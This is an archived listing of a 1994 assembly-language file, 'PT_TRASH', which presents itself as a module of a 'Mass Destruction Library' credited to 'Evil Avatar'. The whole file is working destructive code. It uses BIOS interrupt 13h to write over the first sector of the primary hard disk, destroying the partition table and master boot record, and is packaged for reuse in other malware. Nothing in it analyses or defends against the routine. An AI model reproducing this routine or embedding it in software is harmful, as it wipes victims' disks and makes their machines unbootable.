home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / LAVIUPD3.ZIP / LAVI13.ZIP / PT_TRASH.RTN < prev    next >
Encoding:
Text File  |  1994-01-06  |  543 b   |  20 lines

  1. ;PT_TRASH - module for Mass Destruction Library
  2. ;written by Evil Avatar
  3. ; Destruye la tabla de particiones
  4.  
  5. pt_trash:
  6.         push ax
  7.         push bx
  8.         push cx
  9.         push dx               ;save regs that will be changed
  10.         mov ax, 301h          
  11.         xor bx, bx
  12.         mov cx, 1             ;this is where the partition table is at
  13.         mov dx, 80h
  14.         int 13h               ;trash it
  15.         pop dx
  16.         pop cx
  17.         pop bx
  18.         pop ax
  19.         ret                   ;restore regs and return
  20.